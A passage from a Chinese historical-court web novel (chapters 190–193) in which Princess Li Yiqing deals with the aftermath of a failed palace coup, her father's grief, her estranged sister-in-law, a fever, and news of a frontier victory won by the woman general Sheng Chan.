元辞章望着镇定布置的李意清，一瞬间有些恍然，回神后，遥遥拱手道：“微臣必不辱命。”
190. 先例
两人说话期间，由高将军亲自带队的禁军队押来一个熟悉的面孔。
申福全跪在地上，涕泪具下，看到李意清后，连忙向前扑去，“殿下，殿下，奴才当真没有背弃陛下……”
他说了一半，嘴巴被人捂住。站在顺成帝这边的太监冷眼瞧着，语气讥讽，“申公公当真没有背主吗？奴才可都知道你将徐公公给坑害了。”
说起徐钱礼，李意清立刻恢复了精神，她四下扫了一圈，“徐公公呢？”
高将军抬了抬手，立刻就有一个禁军出列。
他去了不到半炷香，就和急匆匆找来的徐钱礼撞在了一块。
徐钱礼衣着灰朴，被雨一淋，更显现出几分凄凄惨惨。
有宫人看见徐钱礼这副模样，知道顺成帝重新掌权，他不久后也会重新得到重用，立刻上前搀扶住徐钱礼，“徐公公，这些日子不见您，心底慌得很，还好还好，那个见风使舵的小人已经被抓住了。”
徐钱礼顺着他指的方向看过去，只见申福全被三个大刀禁军狠狠压着，脸色苍白。
徐钱礼忙道：“松开！快松开。”
禁军不确定地看着李意清，见她微微点头，立刻松开了钳制申福全的手。
宫人不明所以，不解道：“徐公公，你干嘛还和这样一个拜高踩低、不念旧情的人讲话？”
徐钱礼没有理会他，而是朝着李意清拱了拱手，“殿下，小全子是奴才亲手带大，他的为人秉性，奴才虽然不敢说百分百确信，但绝不会暗中害奴才。”
申福全挣扎的动作瞬间停止，抬起眼睛，鼻尖酸酸的。
他望着徐钱礼，蓄满了眼泪的眼眶里满是委屈，和一种被母兽抛弃的小兽一般的无助。
徐钱礼伸手在他湿漉漉的脑袋上摸了摸，转而对李意清道：“殿下，那日你拿着令牌进入宫中，多亏小全子将你的动态告诉奴才，奴才才能及时前去，后来淑贵妃在宫中审问此事，也是小全子揽住了此事。”
那枚令牌见过的人不少，有淑贵妃心腹之人告诉她此事，淑贵妃当即表示搜宫，后来申福全说是自己自作主张，换来二十大板，才平息了。
徐钱礼顿了顿，接着道：“而且，奴才失势之后，不少人明里暗里冷嘲热讽，后来那些人一一被人训斥，虽然小全子没露面，奴才却能猜到。”
原先说话的宫人脸色立刻呆滞，变得空白一片。半响后，他嘟囔道：“你做了这许多事，怎么不说一声，这么喜欢被人误会吗？”
申福全眼眶发红，但是脸上还有些别扭道：“这不是有人捂住奴才的嘴，让奴才无话可说吗？”
他一边说着，一边望向徐钱礼。
没有说出口的是：那日李意清到了嫦月殿，徐钱礼也特意绕道那条小径，他便觉得有几分不对劲。
徐钱礼是宫中的首领太监，所到之处惹人注目，他不一样，他只是徐钱礼收作徒弟中的一个，人微言轻，根本无人会留心他的动向。
他偷偷掉队折返，看见了站在嫦月殿前小径上低头捡起檀木珠的李意清，没见过这种场面的他立刻心如擂鼓，砰砰直跳。
后来李意清转身离开，他望着一地珠子，细细数过去。
十八颗，和他自己平日里盘弄的数量，分毫不差。
这些，徐钱礼自然不知道。
他也没有打算说给徐钱礼知晓，这件事情，除了让徐钱礼多增一分愧疚，并无其他意义。
申福全伸手抹干自己眼角的泪水，看着徐钱礼，哑声唤了一声“干爹”。
“申福全这个名字不好，以前还叫你小全子，等到日后成独当一面的掌监，自有陛下为你赐名。”徐钱礼道，“这一日，定然不会太久。”
师徒二人重归于好。
李意清看了一眼，似乎有些被这样的场景所打动，她牵起元辞章的手，不管不顾跑进了太和殿中。
跑出几步，她转头对高将军道：“这边就拜托高将军了。”
高将军立刻俯身拱手，“殿下放心。”
太后的尸身被暂时安置在太和殿中，顺成帝紧紧地搂住太后瘦削的肩膀，不哭不闹。
这样的不哭不闹，却显得更加刺眼。
顺成帝脸上的泪痕犹在，看见李意清和元辞章，颤抖着声音道：“意清。”
树欲静而风不止。
李意清望着他的头顶，不知道什么时候开始，他头上的白发已经超过黑发的数量。
在顺成帝身上，她再也看不见他曾继位君王时，站在神武大街天桥之上挥斥方遒的意气风发，只剩下一个风烛残年老人的默然萧条。
如果生命的刻度能够被肉眼看见，那么尾声已经触手可及。
“朕已经失去了皇后，如今又要失去母后。”顺成帝声音沙哑，目光呆滞，半响后，他摇了摇头。
皇后离开的时候，他受制于淑贵妃的控制，便是怀念和哭悲，也只能不动声色。
现在，身边无奸佞，身边亦无亲。
李意清望着他怀中没有一丝血色的太后，拉着元辞章，在她的面前跪下，重重磕了三个头。
“意清幼时不懂事，多亏皇祖母庇护多年，祖母授我诗书，教我道理，现在她为国捐躯，心无缺憾，父皇亦不必过于伤痛。”
顺成帝看着李意清坚韧的面庞，忽然一时有些失神。
他望了李意清良久，在看她，又像是透过她看向已故的明昭皇后、铭华长公主、皇太后……
“我儿，当真长大了。”顺成帝目光渐渐回神，现在大庆腹背受敌，女儿尚且不能沉浸于母丧亲丧之痛，他身为国君，更不能长久地沉浸于悲伤。
顺成帝道：“意清，父皇没事。来人，传朕的话，淑贵妃通敌叛国，已经正法。於光公主救驾有功，封一等衔，位同亲王。”
旁边的臣子怔了一下，立刻准备出声反驳，“陛下，本朝尚未有此先例，这样做怕是不妥。”
顺成帝道：“既然没有这个先例，那就自她开始，朕心意已决。”
臣子听着他不容反驳的语气，知道自己劝不动，只好点了点头。
顺成帝想起了什么，忽然问道：“行渊呢，他如何？”
虽然他神智时而清醒时而不清醒，但是对外界的事情并非全然无知。
李意清道：“二皇兄那边我已经派人去看了。淑贵妃派身边宫女刺杀，装疯只是一时之策，父皇不必担心。”
顺成帝愣住：“装疯？你是说行渊并非有事？”
李意清朝他点了点头，看着顺
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成帝明显松了一口气的模样，语气放轻了不少，“父皇明明还是担心二皇兄的。”
顺成帝嘴硬道：“朕只是怕他真疯了，以后还要你和你皇兄操心。他这个性子，若是不气朕，朕便谢天谢地了。”
李意清看着他这副神态，没有立刻反驳。
顺成帝痛失至亲，此刻正是对亲人最宽容包和的时候，或许冰释前嫌，就在此一举。
虽然，很久之前，她也不喜欢自己这位行事无度的皇兄。
顺成帝坐了片刻，恢复了精神，对李意清和元辞章道：“今日你们也累了，回去好好休息，剩下的后事，就交给父皇处理吧。”
他的目光温和又坚定。
李意清对上他的视线，点了点头。
她在元辞章的搀扶下起身，走到门边，忽然听到了顺成帝的声音。
“你皇兄这段时间远在西北，委屈他了。改日你去一趟他府上，好生安抚安儿。”
李意清的背影站定，知道这是顺成帝准备恢复大皇子太子之位的前奏。
“好，”李意清回首，朝顺成帝微微俯身，“意清知晓了。”
出宫的路上，压抑的乌云渐渐散开。雨势渐小，趋近于无。
雨后的宫墙红色越发鲜艳，琉璃瓦上水珠断断续续，滴落在墙缝一场春雨后破土而出的新芽上。半边乌云去向，半边天光乍现。
两人走在宫道上，元辞章看着李意清泛红的眸和微弯的唇，用自己在太和殿拿出来的帕子擦干李意清头发上的水珠。
李意清看着元辞章，压抑许久的心情如山洪般爆发，最后一丝理智告诉自己现在还远远没有结束。
但是已经比自己预想中的要好很多。
她望着元辞章，本想勾起一抹笑容告诉他自己没事，但是面对元辞章，却只能涌起漫无边际的委屈。
为母后，为太后，为明明近在咫尺，却不能直言关心的受制于人。
幸好，在元辞章的面前，她不必佯装笑容，让自己勉强。
李意清拍了拍元辞章的胳膊，两人在宫门口分别。
元辞章有事，她也要去大皇子府看望苏诗如和安儿。
李意清先一步坐上马车，马车上备着干净的衣裳，没有被雨水打湿。
换上衣裳后，李意清端坐片刻，消化这半天以来的情绪。
马车在大皇子府前停下，车夫放好搭脚以供李意清下来。
李意清从马车上走下来，抬头望着被撤去“太子府”匾额的府邸，抬步走到门前。
太子被废，又被派去西北，现在正是门庭最凋落之际。门口连个守门的护院都没有。
跟来的禁军主动上前，叩响了门。
等了半响，才有人拉开一道细细的门缝，探出半边脑袋，看清李意清之后，将门完全拉开。
“公……公主殿下。”
李意清点点头，目光越过他望去府中，“我来看望皇嫂和安儿，他们现在可在府上？”
小厮欲言又止地望着李意清，像是在犹豫要不要说。
李意清道：“有什么话，你直说就是。”
小厮压低了声音，“公主殿下，您来得不是时候，太……皇子妃，估计是不想见您的。您还是回去吧。”
191. 风寒
李意清刚准备继续询问，就看见小厮忽然像见了鬼一样跳了起来，喊着闹着嚷着道：“殿下，你快松手吧，奴才要关上门了。”
禁军力气大，伸手往门上一撑，门便纹丝不动。
小厮鼓紧腮帮子，使出了吃奶的力气，也没能挪动分毫。见白费功夫后，他有些泄气地松开手，蔫头耷脑地望着走到面前的大皇子妃苏诗如。
“夫人。”他挠挠头，小声轻唤，“你怎么来了？”
苏诗如脸上未施粉黛，整宿整宿的噩梦和彻夜难眠让她眼窝深陷，看上去像是被人吸干了精气神，显得十分憔悴。
如今大皇子府门庭冷落，她平日闲来无事，就会漫无目的地在院子中瞎逛。
见到门边有争执，她才慢吞吞地朝这边走过来。
大皇子失势，众人避皇子府如避洪水猛兽，苏诗如想象不出来，现在这个时候还有谁会冒着被顺成帝厌恶的风险，来到这府邸。
见到李意清的刹那，苏诗如第一反应遮挡住自己面无人色的面容。
她现在的样子，不消镜子，也能想象如何狼狈。反观李意清，虽然湿润的头发弯曲着贴在她的面庞，却怎么也遮不住她双眸中流露出的灵动。
李意清目光灿烂如星辰，她嘴角微微上扬，开口见礼：“皇嫂安好。”
苏诗如见无处可避，才将遮挡脸庞的衣袖放下，暗淡目光露出几分厌倦，像是不愿意与她过多交谈：“你来做什么？”
李意清不来的时候她抱怨，她来了，情况也并未有所好转。
该是天地不公，教太子殿下受尽屈辱，可李意清却一点事情都没有。
她心底有气，脸色自然好看不到哪里去。
李意清满腔皇兄不日便可从边关迎回京城的喜悦，她虽然诧异苏诗如面对自己的冷淡，但还是语气带上一分喜悦，笑道：“皇嫂，京城乱贼已除，皇兄不日便可回京。”
“你说的是真的？”苏诗如立刻紧张问道。
李意清点了下头：“自然是真的。”
苏诗如捂着心口，面上有一丝久困沙漠中的旅人终于看见绿洲的希冀，她一连说了三个“好”字，才对李意清道：“你走吧。”
她还是不想面对李意清。
李意清不知道她这一股怨气从何而来，只能看见苏诗如的眸底满是抗拒。
李意清抿了抿唇，没有争吵着非进不可，只朝苏诗如拱了拱手：“皇嫂好生休息，替我对安儿问声安好。等皇兄日后回来，我再来拜访。”
她说完，目光掠过苏诗如，落在满庭的衰败花枝上。
暴雨倾盆，皇兄不在，苏诗如对什么都提不起兴趣。放眼望去，一地尽是风雨中折断的树枝，无人打理。现在凌乱地散在地上，与泥土混成一堆，脏兮兮的交织。
她只看了一眼，收回视线，转身离开。
苏诗如神色复杂地看着她的背影，咬了咬自己的下唇，像是在和身边的小厮嘟囔抱怨，又像是告诫自己：
“最好永远别来。”
小厮惊了一跳，连忙紧张地看着李意清的背影，见她背影如常，脚步稳健，像是没有听到，这才松了口气。
他有心提醒，压低声音对苏诗如道：“夫人，这话可不要说了。”
李意清能来传话，必然经历了什么，或者是深得顺成帝的信赖。以后大皇子府，应该和她打好关系才是——得罪一个手握实权的公主，并非明智之举。
苏诗如忽然心绞痛了起来，痛意快速上涌，霎那间痛觉遍布四肢百骸，几乎没有留给她一丝反应的时间。
苏诗如痛得几乎眼泪都要流出来了。
“夫人！夫人你没事吧！”
小厮吓了一跳，连忙伸手去搀扶。苏诗如隐隐感觉到心口郁着一口血气，上不去也下不来，哽在喉间，腥甜又苦涩。
她用力地伸手推开小厮，大声道：“不必你扶。”说完，一脚踏上雨后潮湿的路面上。
小厮被推得一个踉跄，反应过来的时候，苏诗如已经一脚踩空，重重摔在了潮湿的路上，昏迷不醒。
“夫人！”他惊呼一声，呼喊着其他人一道前来帮忙。
*
李意清掀开车帘坐上马车，车夫询问道：“殿下，现在是否准备回府？”
“嗯。”她轻轻应了一声，伸手掀开窗边的帘子，抬眸朝皇子府望去。
车夫看出李意清眉宇间淡淡的愁思，宽慰道：“殿下莫要伤心，你和大皇子是一母同胞的亲生兄妹，怎么会断了联系。”
“借你吉言。”李意清双手抱着膝盖，有些心不在焉地想着，究竟是发生了什么事，苏诗如对她的态度才出现这么大的转变。
马车轱辘滚动，停在公主府前。
负责送旨的太监看见李意清回来，眉毛和眼睛笑连成一片，喜气洋洋道：“殿下，奴才奉陛下之命，特意来给殿下送来赏赐。”
他一边说着，一边指着托盘上的各类赏赐道：“这些，还有这些，都是陛下赏给您的。殿下，您现在可要清点一遍？”
李意清走到毓心的身边，“这些东西，还是你负责登记造册。”
毓心点了点头，走到太监的身边道：“公公请随我来，进屋喝一杯清茶。”
太监眼珠子转动，滴溜溜转了一圈后，视线落在前面的李意清身上，有心卖她这个好，“既然如此，奴才恭敬不如从命，多谢殿下和毓心姑娘款待。”
两人相谈甚欢地走去偏殿。
负责端着托盘上的小黄门也跟着一道。
等站在中庭的人一一散开，李意清走到洛石和茴香的身边，“去查一下，近些日子，可有人靠近大皇子府。”
洛石意外地望着李意清，见她若有所思，点了点头，“殿下放心。”
嘱咐完后，李意清后知后觉地打了一个喷嚏。
今天跑了一天，浑身被雨淋湿在雨中站了差不多三个时辰，现在才发热，已经算不幸中的万幸。
洛石和茴香吓了一跳，茴香连忙伸手扶住李意清，伸手在她的额头上摸了摸温度，大惊失色。
“殿下，你额头
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滚烫！”她将李意清往自己肩膀上压了压，“现在可觉得有哪里不适？”
李意清晃了晃脑袋，安抚道：“还好，就是有些渴，想喝水。”
茴香叹了一口气，望着洛石道：“洛石，你背殿下回殿，我先去倒水。等下顺道沐浴。”
李意清推辞道：“哪有那么娇气，还需要人背……”
她话还没说完，洛石就蹲下身，不容反驳道：“殿下，上来。”
李意清望着他一脸不上来不罢休的架势，无可奈何地叹了口气，趴在他的肩膀上。
趴上去后，洛石背着李意清走到殿中，跨过门槛的时候，他小声提醒道：“殿下，有些颠簸，你抓紧些。”
说完，等了半响，却无人回应。
他忍不住侧头望去，只见李意清已经晕了过去，脸色泛着一抹不自然的红晕，呼吸轻不可闻。
洛石加快了自己脚下的步伐，将李意清放在床上方平后，脱去她脚上的鞋履。
鞋履湿透，不需要拧，光是拿在手上，就淅淅沥沥往下滴着水。
马车里时间紧迫，也没有准备可供换的鞋履，李意清默不作声地穿着湿漉漉的鞋子，一声不吭地跑了一个来回。
茴香端着热茶进来的时候，只见李意清已经睡得昏昏沉沉。
洛石道：“茴香，你帮殿下擦拭一番，换身衣裳，照顾好殿下。我先去请邱先生。”
不等茴香说话，洛石已经大踏步地推门而出，行色匆匆。
茴香本想对他点头，洛石行动太快，她只好改为对空气点了点头。
她走到李意清的身边坐下，伸手探上李意清的额头，心慌得厉害。急声对守候在殿外的婢女道：“快去打一盆凉水过来，记得，要凉水。”
婢女应了一声，连忙出去。
等邱念慈被洛石拽着匆匆赶来，只看见李意清额头上盖着一块布巾，茴香坐在旁边紧紧握着她的手。
洛石望着茴香哭得梨花带雨，蹙眉道：“哭什么。邱先生来了，你快让开。”
茴香快速擦干自己的眼泪，站起身给邱念慈让了一个座位，嗓音是哭后的沙哑：“邱先生请坐。”
邱念慈微微点头，坐在李意清的床边拿出她的手腕，用棉巾盖上一层后，把上了李意清的脉。
“还好还好，多亏茴香姑娘一直在用冷水给殿下降温，现在温度已经缓和下来，不必再用冷水降温，待我开一副药，煎煮服下，也就没什么大事了。”
茴香眼睛哭得通红，听到邱念慈的声音，连忙点头，偏头对婢女道：“你们跟在先生后去写方子、抓药。”
婢女和邱念慈离开后，茴香紧巴巴地望着李意清，对洛石道：“我已经好久没见过殿下发这么高的烧了。把我担心坏了。”
洛石在茴香的肩膀上拍了拍，宽慰道：“邱先生说，你做的不错。没事，殿下喝了药会好起来的，反倒是你，若是殿下醒来看到你这个样子，难免会忧心。”
茴香立刻捂着自己的脸，摸到脸上的泪痕，蹙紧了眉：“我去洗脸。”
192. 银州西庆
病来如山倒，病去如抽丝。
李意清这场风寒来得急，又因为经历一场大起大落，病了差不多半个月。
其实后面几天的时候，她自我感觉已经没什么大碍，但是毓心和茴香却如两尊门神，防着人进来，也防着她出去。
待满足足半个月后，李意清才被允许出屋活动，走到院中散心。
暮春时节，桃花尽谢，碧绿的叶片下掩盖着一只只细小、玲珑的小桃子，三两一簇，颇为可爱。
有会园虞的工人拿着巨大的剪刀，在树下翻翻找找，将一些还未成型的小果子剪断，丢进背上的背篓中。
李意清望了一会儿。洛石站在屋内，手搭在窗台上，喊道：“殿下，你已经在外面待了很久了。早些回来吧。”
李意清置若罔闻，没有理会。
洛石见站在屋内喊不动人，只好走出来，院中忽走来一个身影，洛石见他行色匆匆，问：“做什么？”
小厮欠身，对着洛石拜了一拜，恭声道：“急报。”
李意清听到这边的动静，抬眸朝声响发生处望去，洛石正带着领着小厮朝这边来。
小厮站定，俯身道：“殿下，宫里传来消息，让您现在进宫一趟。”
李意清第一反应是看向洛石，洛石诡异地第一时间就看出李意清的所思所想：看，你还说我在外面待久了，现在还不是要出去。
洛石：“……”
洛石对小厮道：“是急事吗？殿下风寒初愈，不能久吹风。”
小厮道：“奴才也不知道究竟是什么大事，听说是和西北那边传来的。”
他抿着嘴角，听到洛石说李意清有风寒，暗自思忖着什么，像是很担心。
西北？如果不是和大夏的战事，那八成就是和大皇子的事情相关了。
难道……是皇兄回来了？
一想到这个可能性，李意清就觉得自己的心底砰砰跳了起来。自上次离别，大皇子除了一封到西北安好的信函之外，再无别的回音。
李意清敛了脸上闲散玩闹的神色，对洛石道：“去准备马车吧，我去更衣。你陪我同去。”
洛石见她动了真格，不再玩笑，应了一声，踏步离开。
李意清大病初愈，脸色有些苍白，她伸手在自己的脸上揉了揉，不似之前那边红润晶莹。
她目光在梳妆台上游离一圈，伸手取出掺了桃花的珍珠粉，浅浅在脸上覆盖一层。又用指腹在瓷瓶里勾了一点嫣红的胭脂均匀涂抹在自己的脸颊。
等花钿一描，整个人气色好了不止一星半点。
李意清端详着镜子中的自己，镜中人看上去面容清丽，一颦一笑颜色灵动自然……这样最好，她希望见到父皇和皇兄的时候，是自己最好的状态，不让他们担心。
再三确认自己没有露出一丝憔悴之后，她换上一身干净宽松的织锦袍子，穿着锦履，慢慢走到外面。
公主府外，洛石坐在马车外面，见到李意清画好妆面，脸上并无一丝惊艳神色。
和李意清待久了，即便是倾城容貌，也渐渐习惯。
他沉着脸色，一撩下摆利落地从马车上跳下来，从面带微笑的李意清身边径直经过，抬步往里面走去。
李意清被忽略了个彻底。
旁边准备跟着同去的车夫不明所以地看着李意清，挠头纳闷道：“殿下，洛石不去了？”
李意清耸了耸肩，不知道洛石是怎么想的。
车夫继续道：“殿下，洛石是在闹别扭吗？那他还去不去啊？不去的话？就咱们走吗？”
他一连串的问题抛出来，李意清有心回答，也不知道从哪个开始比较合适。
“再等等吧。”李意清道。
虽然洛石方才的神情不是很好，但是他应当还做不出把她一人丢在府门前这种事。
车夫“哦”了一声，牵着缰绳等在一旁。
一会儿后，洛石左手拎着一个食盒，右手捧着一件厚厚的毯子，拉着毓心出来。
毓心显然是被突然拉出来，神色还有些茫然，“你做什么？”
她身上还系着一件褂子，原正在和茴香在厨房捣腾，近来李意清生着病，胃口不大好，她们准备做些糕点甜羹哄李意清开心。
正烧着火，便看见洛石匆匆跑来，目光在她和茴香两人身上转了一圈，下一刻便拽着毓心过来。
毓心看他匆忙，咽下了那句：你不在院中好生陪着殿下，到这里来做什么。
茴香纳闷地看着两人，刚问出“你们做什么去”，两人就已经消失视线中。
洛石一边拉着她离开，一边快速解释道：“殿下要出门，身边需人看护。”
刚刚进入厨房的刹那，他在两人中下意识选择了毓心，一来毓心行事更端庄稳重，二来或多或少带上了些许“私人恩怨”。
谁让茴香不仅自己怼他，还拉着许三一起怼。
毓心听到后，脚下迈开步子，两人跑到李意清的面前站定的时候，皆是气喘吁吁。
李意清主动接过洛石手中的外袍和食盒，等两人气息和缓下来，才一道上了马车。
马车内无风，但是毓心还是态度坚定地将外袍严严实实盖在李意清的身上。
到了皇宫，李意清一路被人紧紧围着，步入太和殿后，目光略过坐在高座上的顺成帝，在室内搜寻一圈。
殿中密密麻麻站着十多个大臣，朱红深紫一片。
没能看到那一抹身影，她有些遗憾地垂下眼眸。
毓心落后李意清一步紧紧跟着，用肘子撞了撞她，小声提醒道：“殿下，行礼。”
李意清如梦初醒，端端正正向顺成帝行礼后，站在了一旁。
顺成帝道：“今日召众爱卿过来，是为了商讨西北的战事。”
有人望着李意清，嘴唇翕动，似乎有话想说。
顺成帝说等一个重要人过来，他们才耐下性子等待，没想到来的是李意清。
太荒唐了，一介女流，即便是顺成帝的女儿，怎么能站在这般重要的场合。
旁边有知道内情的大臣伸手挡住臣子的话，低声道：“且听圣上怎么说吧。”
那人忿忿地一甩袖子，李意清注意到他的动作，分了他半个眼神。
原来是柳夕年的父亲，柳大学士。
五年过去，他职位不增反减，要不是庞相的维护，这大学士的位置都保不住。
典型的人没本事，但是话还多的人。
柳大学士哼了声，低声念道：“真是荒谬，吾宁不与小人女子为伍也。”
相隔遥远，加上他放轻了自己的声音，因此高座上的顺成帝并没有听到他的嘀咕。
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顺成帝年纪大了，耳朵也越发不好使，见人都到齐了，对着李意清道：“意清，你站近些。”
李意清虽然不知道为什么，但是听了顺成帝的话，还是乖乖上前。
她站在了庞相和韩尚书的中间，友好朝两人笑笑。
韩尚书韩珦和李意清早有渊源，韩鹤宁与元辞章交好，两家多有来往，算不得陌生，韩尚书也朝他笑得温和。
另一边，庞相能混到当前的职位，也算是人精中的人精，见李意清主动示好微笑，不论心底是怎么想的，但是脸上立刻摆出一副受宠若惊的模样，咧开嘴角，点头致意。
顺成帝将这一幕尽收眼底，他抿了抿干涩的嘴唇，语气温和道：“意清，昨日夜里传来西北捷报。大夏举兵三万入侵峪门城，盛将军带军迎战，大捷，收复峪门、渑山二城，狠狠打击了大夏的气焰。”
去岁开始，大庆和大夏的交锋败多胜少，虽然君臣不提，但是此事还是划作一个尖刺，扎在了他们心中。
在以往两国交锋中，都是大庆占据优势，如今优势不在，难免让人心中憋着一口气。
大庆太需要一场酣畅淋漓的胜利，重振低迷的士气了。
顺成帝这句话后半段语气忽而转为铿锵，任谁听了，都能感觉到他语气中的喜悦与希冀。
庞相和韩尚书最先回过神来，话未说出口，笑容已满面，对顺成帝道：“如此大喜！恭贺陛下！”
“天佑大庆，万岁万岁！”
就连柳大学士，也忍不住跟着抚掌大笑，太和殿中一派和乐。
笑够了，庞相心态放松了不少，眉宇神采飞扬，“陛下，不知道这位盛将军，是盛家哪位公子？”
盛家乃将门之家，盛家家主多年以前就被人封为镇远大将军，因此在朝中提到他，一边都会用盛大将军指代，而非用盛将军。
能被称为盛将军的，必然是继承了盛大将军衣钵的盛家小公子。
柳大学士跟着附和猜测：“盛大将军当年取名的时候，特意取名为盛复银和盛复西，前者为收复银州、后者为收复西庆，如今两位小公子所为，当真没有辜负陛下、大将军一番良苦用心。”
银州和西庆，是太祖皇帝建国时的领土，当时边关不定，太祖晚年，被大夏夺去，成了太祖皇帝心中的一根刺。
这根刺让他寝不能眠，食不下咽，他身体渐渐衰微，但是对银州和西庆的担忧却日益上心。
弥留之际，落笔遗书，望子孙后代终有一日，收复故土。
盛大将军自小被老将军带着在西北长大，儿时纵目远眺，老将军长枪挑花，红缨飒飒作响，他指着银州和西庆富饶的土地，“银西之地，物华天宝，俊才星驰，乃大庆自古之地，吾儿当自励。”
在老将军的耳濡目染下，盛大将军的心中自小就埋下了这样一颗种子——收复银州和西庆。
顺成帝在珠帘玉冠下也想到了这段故事，嘴角勾起一抹有些感慨的笑容。他和盛大将军相识日久，数年来多少人在他耳边道盛大将军功高盖主，需防之又防，但是顺成帝只淡淡一笑，对盛大将军一切如旧。
这样毫无猜忌的君臣佳话，足以让顺成帝自傲。
听到柳大学士的问话，顺成帝朗声大笑：“复银复西都是少年俊杰，日后必然大才。但是这位盛将军，却并非他们。”
193. 听政
庞相闻言，呆愣一瞬，迟疑道：“不是盛家小公子，那是谁？”
盛大将军没有同宗兄弟，自然没有同系子侄，顺成帝这样说，可算是吊足了众人的胃口。
李意清福至心灵，见顺成帝和煦地望着自己，脑海中灵光乍现，道：“是盛蝉吗？”
顺成帝赞许地颔首：“不错，正是她。”
盛大将军原先一直不同意盛蝉带军上战场，但是自去年冬末，他腿伤复发，连骑马都困难。
后来大皇子李序泽与盛大将军谈心，道盛蝉乃可用之才。
盛大将军原先并不相信，他定定地望着李序泽的脸旁，顿了良久，询问道：“殿下何故如何信任小女？”
他这话问得不可谓不含蓄，只差没直接说出口——殿下如何信任小女，是不是因为小女和於光公主交好？
铁骨铮铮的八尺壮汉在问完后，亦有些局促地揪紧自己的甲胄。
李序泽闻言，握着战场沙盘战旗的手微微一滞，回视盛大将军，语气肯定道：“不是。”
在西北五个月，李序泽身上的矜贵不减，甚至比在京城中的时候更添几分坚毅，抬眸中，有属于京城繁华看倦的淡然无欲，也有属于大漠赤地的风霜与肃杀。
盛大将军张了张嘴，似乎想追问一句为什么。但是话到了嘴边，却又咽回去……
李序泽像是读懂盛大将军眼中所思所想一般，将手中的战旗放在山谷凹陷之处，眉峰微凝，后而缓缓舒展。他随手端起旁边的一盏水，饮尽后，任水珠从冒出点点青色胡茬的下巴滑落。
他说：“盛将军可行，是因为她就是她，并非她人情谊。盛大将军若是那般想，便不仅是瞧不起我了，更是看轻了您的女儿。”
盛大将军很难描述自己听到这句话的时候，心底猛然掀起的一阵波澜。
原先只是一阵微风，而后变成一道狂风呼啸，以势不可挡的趋势席卷每一寸心土，搅乱所有的思绪。
李序泽望着盛大将军满是风霜的脸，他的胡须长久不打理，已经隐隐能看出有些打结。还有别的想要一吐为快的话，却化作一片沉默。
过满则溢，点到为止。
他将营帐留给盛大将军，掀开厚厚的帐门走出去。北地和京城不一样，京城的营帐有绢有纱，纤薄精美，大多作装饰之用，但是北地的帐是为了对抗凛冽的风沙，厚重古朴，兽皮拼接，毫无美感可言。
从营帐中走出来，李序泽极目远眺，越过广袤无垠的沙丘与草地，一直望到地平线。
此刻夕阳西下，大漠孤烟，光是听着耳畔呼啸的狂风，便让人忍不住豪情万丈。
身前，是国土的尽头，敌军号角声声。身后，是他誓死要守护的江山万民，或是歌舞升平、又或是玉树□□花。
李序泽想，在一切尘埃落定之前，他绝不会离开。
*
且说朝堂之中，庞相和韩尚书听到盛蝉名字的时候，脸上的笑意像是被人点了暂停键。
眼中没了笑意，但是脸上还绷着肌肉，看上去要笑不笑，颇为滑稽。
片刻后，韩尚书率先回过神，恭祝道：“盛将军不愧是盛家女儿，巾帼不让须眉。”
顺成帝望着李意清眼中发自内心的笑，忍不住勾起嘴角，盛将军的这一场胜仗，带给他的不仅是退敌的希冀，更是……
巾帼不让须眉，有能者自可为之。
李意清按捺住自己恨不能日行三千里飞到盛蝉身边的心，跟在众人的身后，夸赞盛将军的年少有为，夸赞大庆气势不衰，国运绵长。
难得这样的高兴事，顺成帝任他们叽叽喳喳说个不停，等声音见小，他对庞相和韩尚书吩咐了近日之事，诸如朝中肃清，公使钱分拨等事宜。
顺成帝没提，李意清只好站在旁边，跟着一道听下去。许多东西他们讲起来含糊不清，但是对李意清来说并不难理解。
这些，元辞章时常也会和她讲，很多东西，知一通十。
庞相一面听着顺成帝的声音，一边时不时地望向一言不发的李意清，心下了然：这是听不懂呢。
能站在这里的，哪个不是混了多少年的人精，於光公主长于深宫，哪里知道这许多弯弯道道。
庞相道：“陛下，公主看起来有些疲惫，不如先回府休息？”
他这句话算不得假，李意清大病初愈，虽然面上点妆，艳如桃花，却掩盖不了身上的累乏。
顺成帝却没有理会，谈事期间，抽空对李意清道：“意清，你在此处稍等片刻，朕有话与你说。”
这是有话单独召见她。
李意清点了点头，继续保持着端庄的站姿，将众人的话语听了进去。
有时候听到不对的地方，她眼神一闪，有话想说，但是一抬头就是顺成帝制止的视线，她便又悻悻垂下脑袋，看上去无精打采。
让她站在这里听，却又不让她参与决策，当真磨人。
商议持续了快两个时辰，李意清站得腰酸背痛，慢慢挪动自己的步子，一点点凑近殿中的柱子。
等靠近了，李意清见他们激动得唾沫横飞，无心理会自己这边，心一横，半倚靠在柱子上。
效果立竿见影，腿脚立刻松泛了不止一点。
只可惜她靠上没有一会儿，便听到顺成帝抬声道：“今日说到此处，诸位爱卿辛苦。”
众臣连连摆手：“陛下身先士卒，勤政爱民，乃大庆之幸，百姓之幸，臣等不辛苦。”
恭维完毕，众臣三两作伴，离开太和殿。
李意清早在他们结束谈话的时候就站直了身子，神情淡然专注，眉间花钿映着金辉，更显得端丽。
等人都散去，顺成帝觑了一眼弯下腰捶着自己的小腿的李意清，轻声道：“今日听政，有何感想？”
李意清想了想，道：“感触良多，非一言可蔽之。”
说到公使钱，李意清想起元辞章筹措的十万两白银，抬眸就要与顺成帝争辩。
当初户部拿不出钱，这些臣子相互推诿，说着自己所在衙署如何如何囊中羞涩，如今大胜归来，又臭不要脸的争夺功劳，说着自己何等鞠躬尽瘁死而后已。
当真恼人。
顺成帝看着李意清气鼓鼓的脸，微微抬手止住她的抱怨，哼了一声：“既然一言难蔽之，便好好给朕写一封公文，不着急，慢慢写。”
李意清有些不解，慢慢写，这是要多慢？
父皇怎么也不说清楚？
她有许多话想要一吐为快，甚至觉得关系到后续部署，
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但是转念一想，她都能听出来有问题的地方，顺成帝显然也听了出来，伸手拦住了她差点忍不住的质问。
既然顺成帝心中有数，她慢慢写，当然可以。
顺成帝垂眸望着李意清眉宇由紧皱转为松泛，松泛后又蹙紧，最后缓缓舒展，像是说服了自己。
他道：“相通了？想通了就好，来，陪父皇吃顿饭。”
李意清一个愣神，就看见顺成帝将头顶华丽璀璨的珠冠取了下去，随手搁置在龙椅一旁，曳着长长的华袍，走到李意清的身边，牵起她的手。
他的手温暖而干燥，上面有一些细碎的裂痕，是去年冬日冻疮所致。
李意清的手白皙细嫩，宛如无骨。
顺成帝的手刚好大她一圈，牢牢将女儿的手牵在手心后，他的面容上难得出现孩童般的快乐。
李意清也感受到了他由内而外散发出的高兴，抿了抿嘴，跟在他的身后往后殿花园走。
自她及笄之后，顺成帝再没有牵过她的手。
